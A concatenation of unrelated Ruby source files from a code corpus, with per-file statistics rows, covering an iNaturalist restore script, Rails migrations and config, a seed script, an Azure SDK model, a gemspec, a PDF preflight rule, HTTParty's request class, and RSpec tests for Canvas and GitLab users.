cmd = "tar cvzf resurrect_#{record_id}.tgz resurrect_#{record_id}-*"
puts "Zipping it all up..."
puts "\t#{cmd}"
system cmd
cmd = "rm resurrect_#{record_id}-*"
puts "Cleaning up..."
puts "\t#{cmd}"
# system cmd
puts
puts "Now run these commands (or something like them, depending on your setup):"
puts
puts <<-EOT
scp resurrect_#{record_id}.tgz inaturalist@taricha:deployment/production/current/
ssh -t inaturalist@taricha "cd deployment/production/current ; bash"
tar xzvf resurrect_#{record_id}.tgz
#{resurrection_cmds.uniq.join("\n")}
EOT
| 35.487603 | 152 | 0.690498 |
87dcdd95d99cab2302ee96fbec33f31085b97053 | 117 | class AddStatusToIdeas < ActiveRecord::Migration[5.1]
def change
add_column :ideas, :status, :string
end
end
| 19.5 | 53 | 0.735043 |
ab29819848cdb167e114ccc22aac2cc935de9c69 | 278 | module Arturo
class Engine < ::Rails::Engine
ActiveSupport.on_load(:action_controller) do
include Arturo::FeatureAvailability
helper Arturo::FeatureAvailability
include Arturo::ControllerFilters
helper Arturo::FeatureManagement
end
end
end
| 25.272727 | 48 | 0.733813 |
33a8dcfb2ec0e3c3477b410d80b92728c6eb84d2 | 679 | require_relative "boot"
require "rails/all"
# Require the gems listed in Gemfile, including any gems
# you've limited to :test, :development, or :production.
Bundler.require(*Rails.groups)
module SampleApp
class Application < Rails::Application
# Initialize configuration defaults for originally generated Rails version.
config.load_defaults 5.1
config.i18n.available_locales = [:en, :ja]
config.i18n.default_locale = :en
# Settings in config/environments/* take precedence over those specified here.
# Application configuration should go into files in config/initializers
# -- all .rb files in that directory are automatically loaded.
end
end
| 33.95 | 82 | 0.756996 |
6a881bc89fc7dd082635ba1a97811a2adef986f7 | 1,533 | require 'faker'
require 'pry'
require 'random-location'
petfinder = Petfinder::Client.new
dog_breeds = petfinder.breeds('dog')
cat_breeds = petfinder.breeds('cat')
bird_breeds = petfinder.breeds('bird')
dog_breeds.each do |breed|
DogBreed.create(name: breed)
end
cat_breeds.each do |breed|
CatBreed.create(name: breed)
end
bird_breeds.each do |breed|
BirdBreed.create(name: breed)
end
dog_and_cat_colors = ["Brown", "Red", "Yellow", "White", "Black", "Blue", "Grey", "Cream", "Tan", "Orange"]
other_colors = ["Red", "Orange", "Yellow", "Green", "Blue", "Purple", "Black", "White", "Grey", "Pink", "Brown"]
sex = ["Male", "Female"]
age = ["Baby", "Young", "Adult", "Senior"]
status = ["Lost", "Found"]
10.times do
Pet.create!([status: status.sample, pet_type: "Dog", primary_breed: dog_breeds.sample, primary_color: dog_and_cat_colors.sample, name: Faker::Name.first_name, contact_phone: Faker::PhoneNumber.phone_number, address: Address.all.sample, age: age.sample])
end
10.times do
Pet.create!([status: status.sample, pet_type: "Cat", primary_breed: cat_breeds.sample, primary_color: dog_and_cat_colors.sample, name: Faker::Name.first_name, contact_phone: Faker::PhoneNumber.phone_number, address: Address.all.sample, age: age.sample])
end
10.times do
Pet.create!([status: status.sample, pet_type: "Bird", primary_breed: bird_breeds.sample, primary_color: other_colors.sample, name: Faker::Name.first_name, contact_phone: Faker::PhoneNumber.phone_number, address: Address.all.sample, age: age.sample])
end
| 34.840909 | 256 | 0.730594 |
4aaa33cdda7b5c688d567c6577fcd457cb30d835 | 1,567 | # encoding: utf-8
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may cause incorrect behavior and will be lost if the code is
# regenerated.
module Azure::Cosmosdb::Mgmt::V2020_06_01_preview
module Models
#
# The list of new failover policies for the failover priority change.
#
class FailoverPolicies
include MsRestAzure
# @return [Array<FailoverPolicy>] List of failover policies.
attr_accessor :failover_policies
#
# Mapper for FailoverPolicies class as Ruby Hash.
# This will be used for serialization/deserialization.
#
def self.mapper()
{
client_side_validation: true,
required: false,
serialized_name: 'FailoverPolicies',
type: {
name: 'Composite',
class_name: 'FailoverPolicies',
model_properties: {
failover_policies: {
client_side_validation: true,
required: true,
serialized_name: 'failoverPolicies',
type: {
name: 'Sequence',
element: {
client_side_validation: true,
required: false,
serialized_name: 'FailoverPolicyElementType',
type: {
name: 'Composite',
class_name: 'FailoverPolicy'
}
}
}
}
}
}
}
end
end
end
end
| 27.982143 | 73 | 0.522655 |
b942caa725debae4469adea12633fba4d3fa1eb4 | 1,838 | # coding: utf-8
lib = File.expand_path("../lib", __FILE__)
$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
require "pact/message/version"
Gem::Specification.new do |spec|
spec.name = "pact-message"
spec.version = Pact::Message::VERSION
spec.authors = ["Beth Skurrie"]
spec.email = ["[email protected]"]
spec.summary = %q{Consumer contract library for messages}
spec.homepage = "http://pact.io"
spec.license = "MIT"
# Prevent pushing this gem to RubyGems.org. To allow pushes either set the 'allowed_push_host'
# to allow pushing to a single host or delete this section to allow pushing to any host.
if spec.respond_to?(:metadata)
spec.metadata["allowed_push_host"] = "https://rubygems.org"
else
raise "RubyGems 2.0 or newer is required to protect against " \
"public gem pushes."
end
spec.files = `git ls-files -z`.split("\x0").reject do |f|
f.match(%r{^(test|spec|features)/})
end
spec.bindir = "bin"
spec.executables = spec.files.grep(%r{^bin/}) { |f| File.basename(f) }
spec.require_paths = ["lib"]
spec.add_runtime_dependency "pact-support", "~> 1.8"
# pact-mock_service dependencies are Pact::ConsumerContractDecorator
# and Pact::ConsumerContractWriter. Potentially we should extract
# or duplicate these classes to remove the pact-mock_service dependency.
spec.add_runtime_dependency "pact-mock_service", "~> 2.6"
spec.add_runtime_dependency "thor", "~> 0.20"
spec.add_development_dependency "bundler", "~> 1.15"
spec.add_development_dependency "rake", "~> 10.0"
spec.add_development_dependency "rspec", "~> 3.0"
spec.add_development_dependency "pry-byebug"
spec.add_development_dependency 'conventional-changelog', '~>1.2'
spec.add_development_dependency 'bump', '~> 0.5'
end
| 39.956522 | 96 | 0.691513 |
5da7ce513183122a02e62084e5e86c29046ee728 | 267 | class CreateCloseFriendsOgImages < ActiveRecord::Migration[6.0]
def change
create_table :close_friends_og_images do |t|
t.bigint :uid, null: false
t.json :properties
t.timestamps null: false
t.index :uid, unique: true
end
end
end
| 22.25 | 63 | 0.685393 |
e241b53a63392cc6a95d304b1384027ada1a0fa9 | 871 | # coding: utf-8
require 'bigdecimal'
module Preflight
module Rules
# Checks the MediaBox for every page is at 0,0. This isn't required by
# any standards but is good practice to ensure correct rendering with
# some applications.
#
# Arguments: none
#
# Usage:
#
# class MyPreflight
# include Preflight::Profile
#
# rule Preflight::Rules::MediaboxAtOrigin
# end
#
class MediaboxAtOrigin
attr_reader :issues
def page=(page)
@issues = []
dict = page.attributes
if round_off(dict[:MediaBox][0,2]) != [0,0]
@issues << Issue.new("MediaBox must begin at 0,0", self, :page => page.number)
end
end
private
def round_off(*arr)
arr.flatten.compact.map { |n| BigDecimal.new(n.to_s).round(2) }
end
end
end
end
| 20.255814 | 88 | 0.586682 |
ac66d1ea2183b6385f3e6a5f16e61306902679cc | 851 |
Pod::Spec.new do |s|
s.name = "LFLiveKit-ReplayKit"
s.version = "0.0.1"
s.summary = "Forked form LFLiveKit, A ReplayKit Version"
s.homepage = "https://github.com/FranLucky/LFLiveKit-ReplayKit"
s.license = { :type => "MIT", :file => "LICENSE" }
s.author = { "Pokeey" => "[email protected]" }
s.platform = :ios, "8.0"
s.ios.deployment_target = "8.0"
s.source = { :git => "https://github.com/FranLucky/LFLiveKit-ReplayKit.git", :tag => "#{s.version}" }
s.source_files = "LFLiveKit-ReplayKit/**/*.{h,m,mm,cpp,c}"
s.public_header_files = ['LFLiveKit-ReplayKit/*.h', 'LFLiveKit-ReplayKit/objects/*.h', 'LFLiveKit-ReplayKit/configuration/*.h']
s.frameworks = "VideoToolbox", "AudioToolbox","AVFoundation","Foundation","UIKit"
s.libraries = "c++", "z"
s.requires_arc = true
end
| 40.52381 | 129 | 0.625147 |
ff3ecd03b2ff2dda7670a83bd7f5e13caf551f33 | 13,103 | require 'erb'
require 'httparty/request/body'
module HTTParty
class Request #:nodoc:
SupportedHTTPMethods = [
Net::HTTP::Get,
Net::HTTP::Post,
Net::HTTP::Patch,
Net::HTTP::Put,
Net::HTTP::Delete,
Net::HTTP::Head,
Net::HTTP::Options,
Net::HTTP::Move,
Net::HTTP::Copy,
Net::HTTP::Mkcol,
Net::HTTP::Lock,
Net::HTTP::Unlock,
]
SupportedURISchemes = ['http', 'https', 'webcal', nil]
NON_RAILS_QUERY_STRING_NORMALIZER = proc do |query|
Array(query).sort_by { |a| a[0].to_s }.map do |key, value|
if value.nil?
key.to_s
elsif value.respond_to?(:to_ary)
value.to_ary.map {|v| "#{key}=#{ERB::Util.url_encode(v.to_s)}"}
else
HashConversions.to_params(key => value)
end
end.flatten.join('&')
end
JSON_API_QUERY_STRING_NORMALIZER = proc do |query|
Array(query).sort_by { |a| a[0].to_s }.map do |key, value|
if value.nil?
key.to_s
elsif value.respond_to?(:to_ary)
values = value.to_ary.map{|v| ERB::Util.url_encode(v.to_s)}
"#{key}=#{values.join(',')}"
else
HashConversions.to_params(key => value)
end
end.flatten.join('&')
end
attr_accessor :http_method, :options, :last_response, :redirect, :last_uri
attr_reader :path
def initialize(http_method, path, o = {})
@changed_hosts = false
@credentials_sent = false
self.http_method = http_method
self.options = {
limit: o.delete(:no_follow) ? 1 : 5,
assume_utf16_is_big_endian: true,
default_params: {},
follow_redirects: true,
parser: Parser,
uri_adapter: URI,
connection_adapter: ConnectionAdapter
}.merge(o)
self.path = path
set_basic_auth_from_uri
end
def path=(uri)
uri_adapter = options[:uri_adapter]
@path = if uri.is_a?(uri_adapter)
uri
elsif String.try_convert(uri)
uri_adapter.parse uri
else
raise ArgumentError,
"bad argument (expected #{uri_adapter} object or URI string)"
end
end
def request_uri(uri)
if uri.respond_to? :request_uri
uri.request_uri
else
uri.path
end
end
def uri
if redirect && path.relative? && path.path[0] != "/"
last_uri_host = @last_uri.path.gsub(/[^\/]+$/, "")
path.path = "/#{path.path}" if last_uri_host[-1] != "/"
path.path = last_uri_host + path.path
end
if path.relative? && path.host
new_uri = options[:uri_adapter].parse("#{@last_uri.scheme}:#{path}")
elsif path.relative?
new_uri = options[:uri_adapter].parse("#{base_uri}#{path}")
else
new_uri = path.clone
end
# avoid double query string on redirects [#12]
unless redirect
new_uri.query = query_string(new_uri)
end
unless SupportedURISchemes.include? new_uri.scheme
raise UnsupportedURIScheme, "'#{new_uri}' Must be HTTP, HTTPS or Generic"
end
@last_uri = new_uri
end
def base_uri
if redirect
base_uri = "#{@last_uri.scheme}://#{@last_uri.host}"
base_uri += ":#{@last_uri.port}" if @last_uri.port != 80
base_uri
else
options[:base_uri] && HTTParty.normalize_base_uri(options[:base_uri])
end
end
def format
options[:format] || (format_from_mimetype(last_response['content-type']) if last_response)
end
def parser
options[:parser]
end
def connection_adapter
options[:connection_adapter]
end
def perform(&block)
validate
setup_raw_request
chunked_body = nil
self.last_response = http.request(@raw_request) do |http_response|
if block
chunks = []
http_response.read_body do |fragment|
chunks << fragment unless options[:stream_body]
block.call(fragment)
end
chunked_body = chunks.join
end
end
handle_host_redirection if response_redirects?
result = handle_unauthorized
result ||= handle_response(chunked_body, &block)
result
end
def handle_unauthorized(&block)
return unless digest_auth? && response_unauthorized? && response_has_digest_auth_challenge?
return if @credentials_sent
@credentials_sent = true
perform(&block)
end
def raw_body
@raw_request.body
end
private
def http
connection_adapter.call(uri, options)
end
def credentials
(options[:basic_auth] || options[:digest_auth]).to_hash
end
def username
credentials[:username]
end
def password
credentials[:password]
end
def normalize_query(query)
if query_string_normalizer
query_string_normalizer.call(query)
else
HashConversions.to_params(query)
end
end
def query_string_normalizer
options[:query_string_normalizer]
end
def setup_raw_request
@raw_request = http_method.new(request_uri(uri))
@raw_request.body_stream = options[:body_stream] if options[:body_stream]
if options[:headers].respond_to?(:to_hash)
headers_hash = options[:headers].to_hash
@raw_request.initialize_http_header(headers_hash)
# If the caller specified a header of 'Accept-Encoding', assume they want to
# deal with encoding of content. Disable the internal logic in Net:HTTP
# that handles encoding, if the platform supports it.
if @raw_request.respond_to?(:decode_content) && (headers_hash.key?('Accept-Encoding') || headers_hash.key?('accept-encoding'))
# Using the '[]=' sets decode_content to false
@raw_request['accept-encoding'] = @raw_request['accept-encoding']
end
end
if options[:body]
body = Body.new(
options[:body],
query_string_normalizer: query_string_normalizer,
force_multipart: options[:multipart]
)
if body.multipart?
content_type = "multipart/form-data; boundary=#{body.boundary}"
@raw_request['Content-Type'] = content_type
end
@raw_request.body = body.call
end
if options[:basic_auth] && send_authorization_header?
@raw_request.basic_auth(username, password)
@credentials_sent = true
end
setup_digest_auth if digest_auth? && response_unauthorized? && response_has_digest_auth_challenge?
end
def digest_auth?
!!options[:digest_auth]
end
def response_unauthorized?
!!last_response && last_response.code == '401'
end
def response_has_digest_auth_challenge?
!last_response['www-authenticate'].nil? && last_response['www-authenticate'].length > 0
end
def setup_digest_auth
@raw_request.digest_auth(username, password, last_response)
end
def query_string(uri)
query_string_parts = []
query_string_parts << uri.query unless uri.query.nil?
if options[:query].respond_to?(:to_hash)
query_string_parts << normalize_query(options[:default_params].merge(options[:query].to_hash))
else
query_string_parts << normalize_query(options[:default_params]) unless options[:default_params].empty?
query_string_parts << options[:query] unless options[:query].nil?
end
query_string_parts.reject!(&:empty?) unless query_string_parts == [""]
query_string_parts.size > 0 ? query_string_parts.join('&') : nil
end
def get_charset
content_type = last_response["content-type"]
if content_type.nil?
return nil
end
if content_type =~ /;\s*charset\s*=\s*([^=,;"\s]+)/i
return $1
end
if content_type =~ /;\s*charset\s*=\s*"((\\.|[^\\"])+)"/i
return $1.gsub(/\\(.)/, '\1')
end
nil
end
def encode_with_ruby_encoding(body, charset)
# NOTE: This will raise an argument error if the
# charset does not exist
encoding = Encoding.find(charset)
body.force_encoding(encoding.to_s)
rescue ArgumentError
body
end
def assume_utf16_is_big_endian
options[:assume_utf16_is_big_endian]
end
def encode_utf_16(body)
if body.bytesize >= 2
if body.getbyte(0) == 0xFF && body.getbyte(1) == 0xFE
return body.force_encoding("UTF-16LE")
elsif body.getbyte(0) == 0xFE && body.getbyte(1) == 0xFF
return body.force_encoding("UTF-16BE")
end
end
if assume_utf16_is_big_endian
body.force_encoding("UTF-16BE")
else
body.force_encoding("UTF-16LE")
end
end
def _encode_body(body)
charset = get_charset
if charset.nil?
return body
end
if "utf-16".casecmp(charset) == 0
encode_utf_16(body)
else
encode_with_ruby_encoding(body, charset)
end
end
def encode_body(body)
if "".respond_to?(:encoding)
_encode_body(body)
else
body
end
end
def handle_response(body, &block)
if response_redirects?
options[:limit] -= 1
if options[:logger]
logger = HTTParty::Logger.build(options[:logger], options[:log_level], options[:log_format])
logger.format(self, last_response)
end
self.path = last_response['location']
self.redirect = true
if last_response.class == Net::HTTPSeeOther
unless options[:maintain_method_across_redirects] && options[:resend_on_redirect]
self.http_method = Net::HTTP::Get
end
elsif last_response.code != '307' && last_response.code != '308'
unless options[:maintain_method_across_redirects]
self.http_method = Net::HTTP::Get
end
end
capture_cookies(last_response)
perform(&block)
else
body ||= last_response.body
body = body.nil? ? body : encode_body(body)
Response.new(self, last_response, lambda { parse_response(body) }, body: body)
end
end
def handle_host_redirection
check_duplicate_location_header
redirect_path = options[:uri_adapter].parse last_response['location']
return if redirect_path.relative? || path.host == redirect_path.host
@changed_hosts = true
end
def check_duplicate_location_header
location = last_response.get_fields('location')
if location.is_a?(Array) && location.count > 1
raise DuplicateLocationHeader.new(last_response)
end
end
def send_authorization_header?
!@changed_hosts
end
def response_redirects?
case last_response
when Net::HTTPNotModified # 304
false
when Net::HTTPRedirection
options[:follow_redirects] && last_response.key?('location')
end
end
def parse_response(body)
parser.call(body, format)
end
def capture_cookies(response)
return unless response['Set-Cookie']
cookies_hash = HTTParty::CookieHash.new
cookies_hash.add_cookies(options[:headers].to_hash['Cookie']) if options[:headers] && options[:headers].to_hash['Cookie']
response.get_fields('Set-Cookie').each { |cookie| cookies_hash.add_cookies(cookie) }
options[:headers] ||= {}
options[:headers]['Cookie'] = cookies_hash.to_cookie_string
end
# Uses the HTTP Content-Type header to determine the format of the
# response It compares the MIME type returned to the types stored in the
# SupportedFormats hash
def format_from_mimetype(mimetype)
if mimetype && parser.respond_to?(:format_from_mimetype)
parser.format_from_mimetype(mimetype)
end
end
def validate
raise HTTParty::RedirectionTooDeep.new(last_response), 'HTTP redirects too deep' if options[:limit].to_i <= 0
raise ArgumentError, 'only get, post, patch, put, delete, head, and options methods are supported' unless SupportedHTTPMethods.include?(http_method)
raise ArgumentError, ':headers must be a hash' if options[:headers] && !options[:headers].respond_to?(:to_hash)
raise ArgumentError, 'only one authentication method, :basic_auth or :digest_auth may be used at a time' if options[:basic_auth] && options[:digest_auth]
raise ArgumentError, ':basic_auth must be a hash' if options[:basic_auth] && !options[:basic_auth].respond_to?(:to_hash)
raise ArgumentError, ':digest_auth must be a hash' if options[:digest_auth] && !options[:digest_auth].respond_to?(:to_hash)
raise ArgumentError, ':query must be hash if using HTTP Post' if post? && !options[:query].nil? && !options[:query].respond_to?(:to_hash)
end
def post?
Net::HTTP::Post == http_method
end
def set_basic_auth_from_uri
if path.userinfo
username, password = path.userinfo.split(':')
options[:basic_auth] = {username: username, password: password}
@credentials_sent = true
end
end
end
end
| 29.577878 | 159 | 0.635122 |
79601b4f0ac95f1bd3cf4d5400e5c991ddc3ca42 | 7,184 | require "spec_helper"
describe Canvas::Proxy do
before do
@user_id = Settings.canvas_proxy.test_user_id
@client = Canvas::Proxy.new(:user_id => @user_id)
end
context "when converting sis section ids to term and ccn" do
it "should return term and ccn" do
result = subject.class.sis_section_id_to_ccn_and_term("SEC:2014-B-25573")
result.should be_an_instance_of Hash
expect(result[:term_yr]).to eq '2014'
expect(result[:term_cd]).to eq 'B'
expect(result[:ccn]).to eq '25573'
end
it 'is not confused by leading zeroes' do
result_plain = subject.class.sis_section_id_to_ccn_and_term('SEC:2014-B-1234')
result_fancy = subject.class.sis_section_id_to_ccn_and_term('SEC:2014-B-01234')
expect(result_fancy).to eq result_plain
end
end
it "should see an account list as admin" do
admin_client = Canvas::Proxy.new
response = admin_client.request('accounts', '_admin')
accounts = JSON.parse(response.body)
accounts.size.should > 0
end
it "should see the same account list as admin, initiating Canvas::Proxy with a passed in token" do
admin_client = Canvas::Proxy.new(:access_token => Settings.canvas_proxy.admin_access_token)
response = admin_client.request('accounts', '_admin')
accounts = JSON.parse(response.body)
accounts.size.should > 0
end
it "should get own profile as authorized user", :testext => true do
response = @client.request('users/self/profile', '_admin')
profile = JSON.parse(response.body)
profile['login_id'].should == @user_id.to_s
end
it "should get the upcoming_events feed for a known user", :testext => true do
client = Canvas::UpcomingEvents.new(:user_id => @user_id)
response = client.upcoming_events
events = JSON.parse(response.body)
events.should_not be_nil
if events.length > 0
events[0]["title"].should_not be_nil
events[0]["html_url"].should_not be_nil
end
end
it "should get the todo feed for a known user", :testext => true do
client = Canvas::Todo.new(:user_id => @user_id)
response = client.todo
tasks = JSON.parse(response.body)
tasks[0]["assignment"]["name"].should_not be_nil
tasks[0]["assignment"]["course_id"].should_not be_nil
end
it "should get user activity feed using the Tammi account" do
begin
proxy = Canvas::UserActivityStream.new(:fake => true)
response = proxy.user_activity
user_activity = JSON.parse(response.body)
user_activity.kind_of?(Array).should be_truthy
user_activity.size.should == 20
required_fields = %w(created_at updated_at id type html_url)
user_activity.each do |entry|
(entry.keys & required_fields).size.should == required_fields.size
expect {
DateTime.parse(entry["created_at"]) unless entry["created_at"].blank?
DateTime.parse(entry["updated_at"]) unless entry["update_at"].blank?
}.to_not raise_error
entry["id"].is_a?(Integer).should == true
category_specific_id_exists = entry["course_id"] || entry["group_id"] || entry["conversation_id"]
category_specific_id_exists.blank?.should_not be_truthy
end
ensure
VCR.eject_cassette
end
end
it "should fetch all course students even if the Canvas feed is paged" do
# The VCR recording has been edited to have four pages of results, only one student per page.
proxy = Canvas::CourseStudents.new(course_id: 767330, fake: true)
students = proxy.full_students_list
students.length.should == 4
end
it "should find a registered user's profile" do
client = Canvas::SisUserProfile.new(:user_id => @user_id)
response = client.sis_user_profile
response.should_not be_nil
end
describe ".sis_term_id_to_term" do
it "converts sis term id to term hash" do
result = Canvas::Proxy.sis_term_id_to_term('TERM:2014-D')
expect(result).to be_an_instance_of Hash
expect(result[:term_yr => '2014', :term_cd => 'D'])
end
it "returns nil if sis term id not formatted properly" do
expect(Canvas::Proxy.sis_term_id_to_term('TERMS:2014-D')).to be_nil
expect(Canvas::Proxy.sis_term_id_to_term('TERM:20147.D')).to be_nil
expect(Canvas::Proxy.sis_term_id_to_term('TERM:2014-DB')).to be_nil
expect(Canvas::Proxy.sis_term_id_to_term('TERM:2014-d')).to be_nil
end
end
context 'on server errors' do
before { stub_request(:any, /.*#{Settings.canvas_proxy.url_root}.*/).to_return(status: 404, body: 'Resource not found.') }
let(:course_students) { Canvas::CourseStudents.new(course_id: 767330, fake: false) }
subject { course_students.full_students_list }
it_behaves_like 'a proxy logging errors'
it_behaves_like 'a polite HTTP client'
it 'should log DEBUG for 404 errors when existence_check is true' do
allow_any_instance_of(Canvas::CourseStudents).to receive(:existence_check).and_return(true)
expect(Rails.logger).not_to receive(:error)
expect(Rails.logger).to receive(:debug).at_least(2).times
course_students.full_students_list
end
end
describe '#canvas_current_terms' do
before { allow(Settings.terms).to receive(:fake_now).and_return(fake_now) }
subject {Canvas::Proxy.canvas_current_terms}
context 'during the Fall term' do
let(:fake_now) {DateTime.parse('2013-10-10')}
its(:length) {should eq 2}
it 'includes next term and this term' do
expect(subject[0].slug).to eq 'fall-2013'
expect(subject[1].slug).to eq 'spring-2014'
end
end
context 'between terms' do
let(:fake_now) {DateTime.parse('2013-09-20')}
its(:length) {should eq 2}
it 'includes the next two terms' do
expect(subject[0].slug).to eq 'fall-2013'
expect(subject[1].slug).to eq 'spring-2014'
end
end
context 'during the Spring term' do
let(:fake_now) {DateTime.parse('2014-02-10')}
its(:length) {should eq 3}
it 'includes next Fall term if available' do
expect(subject[0].slug).to eq 'spring-2014'
expect(subject[1].slug).to eq 'summer-2014'
expect(subject[2].slug).to eq 'fall-2014'
end
end
context 'when a campus term is not defined in Canvas' do
before do
stub_terms = [
{'end_at'=>nil,
'id'=>1818,
'name'=>'Default Term',
'start_at'=>nil,
'workflow_state'=>'active',
'sis_term_id'=>nil},
{'end_at'=>nil,
'id'=>5168,
'name'=>'Spring 2014',
'start_at'=>nil,
'workflow_state'=>'active',
'sis_term_id'=>'TERM:2014-B'},
{'end_at'=>nil,
'id'=>5266,
'name'=>'Summer 2014',
'start_at'=>nil,
'workflow_state'=>'active',
'sis_term_id'=>'TERM:2014-C'}
]
allow(Canvas::Terms).to receive(:fetch).and_return(stub_terms)
end
let(:fake_now) {DateTime.parse('2014-02-10')}
it 'does not include the campus term undefined in Canvas' do
expect(subject.select{|term| term.slug == 'fall-2014'}).to be_empty
end
end
end
end
| 37.612565 | 126 | 0.664254 |
395903cede968c3ecb0d747c8719d9dfc87e1a42 | 456 | cask 'mycrypto' do
version '1.7.0'
sha256 '08a15e8fb3a24b17e5d068a98719bad293e3d8dca7787b18e26e28d870dc01c8'
# github.com/MyCryptoHQ/MyCrypto was verified as official when first introduced to the cask
url "https://github.com/MyCryptoHQ/MyCrypto/releases/download/#{version}/mac_#{version}_MyCrypto.dmg"
appcast 'https://github.com/MyCryptoHQ/MyCrypto/releases.atom'
name 'MyCrypto'
homepage 'https://mycrypto.com/'
app 'MyCrypto.app'
end
| 35.076923 | 103 | 0.778509 |
79915daa46388d71786909383a9730fa11b581bb | 9,449 | # == Schema Information
#
# Table name: users
#
# id :integer not null, primary key
# email :string(255) default(""), not null
# encrypted_password :string(255) default(""), not null
# reset_password_token :string(255)
# reset_password_sent_at :datetime
# remember_created_at :datetime
# sign_in_count :integer default(0)
# current_sign_in_at :datetime
# last_sign_in_at :datetime
# current_sign_in_ip :string(255)
# last_sign_in_ip :string(255)
# created_at :datetime not null
# updated_at :datetime not null
# name :string(255)
# admin :boolean default(FALSE), not null
# projects_limit :integer default(10)
# skype :string(255) default(""), not null
# linkedin :string(255) default(""), not null
# twitter :string(255) default(""), not null
# authentication_token :string(255)
# theme_id :integer default(1), not null
# bio :string(255)
# failed_attempts :integer default(0)
# locked_at :datetime
# extern_uid :string(255)
# provider :string(255)
# username :string(255)
# can_create_group :boolean default(TRUE), not null
# can_create_team :boolean default(TRUE), not null
# state :string(255)
# color_scheme_id :integer default(1), not null
# notification_level :integer default(1), not null
# password_expires_at :datetime
# created_by_id :integer
#
require 'spec_helper'
describe User do
describe "Associations" do
it { should have_one(:namespace) }
it { should have_many(:snippets).class_name('Snippet').dependent(:destroy) }
it { should have_many(:users_projects).dependent(:destroy) }
it { should have_many(:groups) }
it { should have_many(:keys).dependent(:destroy) }
it { should have_many(:events).class_name('Event').dependent(:destroy) }
it { should have_many(:recent_events).class_name('Event') }
it { should have_many(:issues).dependent(:destroy) }
it { should have_many(:notes).dependent(:destroy) }
it { should have_many(:assigned_issues).dependent(:destroy) }
it { should have_many(:merge_requests).dependent(:destroy) }
it { should have_many(:assigned_merge_requests).dependent(:destroy) }
end
describe "Mass assignment" do
it { should_not allow_mass_assignment_of(:projects_limit) }
it { should allow_mass_assignment_of(:projects_limit).as(:admin) }
end
describe 'validations' do
it { should validate_presence_of(:username) }
it { should validate_presence_of(:projects_limit) }
it { should validate_numericality_of(:projects_limit) }
it { should allow_value(0).for(:projects_limit) }
it { should_not allow_value(-1).for(:projects_limit) }
it { should ensure_length_of(:bio).is_within(0..255) }
end
describe "Respond to" do
it { should respond_to(:is_admin?) }
it { should respond_to(:name) }
it { should respond_to(:private_token) }
end
describe '#generate_password' do
it "should execute callback when force_random_password specified" do
user = build(:user, force_random_password: true)
user.should_receive(:generate_password)
user.save
end
it "should not generate password by default" do
user = create(:user, password: 'abcdefg')
user.password.should == 'abcdefg'
end
it "should generate password when forcing random password" do
Devise.stub(:friendly_token).and_return('123456789')
user = create(:user, password: 'abcdefg', force_random_password: true)
user.password.should == '12345678'
end
end
describe 'authentication token' do
it "should have authentication token" do
user = create(:user)
user.authentication_token.should_not be_blank
end
end
describe 'projects' do
before do
ActiveRecord::Base.observers.enable(:user_observer)
@user = create :user
@project = create :project, namespace: @user.namespace
@project_2 = create :project, group: create(:group) # Grant MASTER access to the user
@project_3 = create :project, group: create(:group) # Grant DEVELOPER access to the user
@project_2.team << [@user, :master]
@project_3.team << [@user, :developer]
end
it { @user.authorized_projects.should include(@project) }
it { @user.authorized_projects.should include(@project_2) }
it { @user.authorized_projects.should include(@project_3) }
it { @user.owned_projects.should include(@project) }
it { @user.owned_projects.should_not include(@project_2) }
it { @user.owned_projects.should_not include(@project_3) }
it { @user.personal_projects.should include(@project) }
it { @user.personal_projects.should_not include(@project_2) }
it { @user.personal_projects.should_not include(@project_3) }
end
describe 'groups' do
before do
ActiveRecord::Base.observers.enable(:user_observer)
@user = create :user
@group = create :group, owner: @user
end
it { @user.several_namespaces?.should be_true }
it { @user.namespaces.should include(@user.namespace, @group) }
it { @user.authorized_groups.should == [@group] }
it { @user.owned_groups.should == [@group] }
end
describe 'group multiple owners' do
before do
ActiveRecord::Base.observers.enable(:user_observer)
@user = create :user
@user2 = create :user
@group = create :group, owner: @user
@group.add_users([@user2.id], UsersGroup::OWNER)
end
it { @user2.several_namespaces?.should be_true }
end
describe 'namespaced' do
before do
ActiveRecord::Base.observers.enable(:user_observer)
@user = create :user
@project = create :project, namespace: @user.namespace
end
it { @user.several_namespaces?.should be_false }
it { @user.namespaces.should == [@user.namespace] }
end
describe 'blocking user' do
let(:user) { create(:user, name: 'John Smith') }
it "should block user" do
user.block
user.blocked?.should be_true
end
end
describe 'filter' do
before do
User.delete_all
@user = create :user
@admin = create :user, admin: true
@blocked = create :user, state: :blocked
end
it { User.filter("admins").should == [@admin] }
it { User.filter("blocked").should == [@blocked] }
it { User.filter("wop").should include(@user, @admin, @blocked) }
it { User.filter(nil).should include(@user, @admin) }
end
describe :not_in_project do
before do
User.delete_all
@user = create :user
@project = create :project
end
it { User.not_in_project(@project).should include(@user, @project.owner) }
end
describe 'user creation' do
describe 'normal user' do
let(:user) { create(:user, name: 'John Smith') }
it { user.is_admin?.should be_false }
it { user.require_ssh_key?.should be_true }
it { user.can_create_group?.should be_true }
it { user.can_create_project?.should be_true }
it { user.first_name.should == 'John' }
end
describe 'without defaults' do
let(:user) { User.new }
it "should not apply defaults to user" do
user.projects_limit.should == 10
user.can_create_group.should be_true
user.theme_id.should == Gitlab::Theme::BASIC
end
end
context 'as admin' do
describe 'with defaults' do
let(:user) { User.build_user({}, as: :admin) }
it "should apply defaults to user" do
user.projects_limit.should == 42
user.can_create_group.should be_false
user.theme_id.should == Gitlab::Theme::MARS
end
end
describe 'with default overrides' do
let(:user) { User.build_user({projects_limit: 123, can_create_group: true, can_create_team: true, theme_id: Gitlab::Theme::BASIC}, as: :admin) }
it "should apply defaults to user" do
user.projects_limit.should == 123
user.can_create_group.should be_true
user.theme_id.should == Gitlab::Theme::BASIC
end
end
end
context 'as user' do
describe 'with defaults' do
let(:user) { User.build_user }
it "should apply defaults to user" do
user.projects_limit.should == 42
user.can_create_group.should be_false
user.theme_id.should == Gitlab::Theme::MARS
end
end
describe 'with default overrides' do
let(:user) { User.build_user(projects_limit: 123, can_create_group: true, theme_id: Gitlab::Theme::BASIC) }
it "should apply defaults to user" do
user.projects_limit.should == 42
user.can_create_group.should be_false
user.theme_id.should == Gitlab::Theme::MARS
end
end
end
end
describe 'by_username_or_id' do
let(:user1) { create(:user, username: 'foo') }
it "should get the correct user" do
User.by_username_or_id(user1.id).should == user1
User.by_username_or_id('foo').should == user1
User.by_username_or_id(-1).should be_nil
User.by_username_or_id('bar').should be_nil
end
end
end
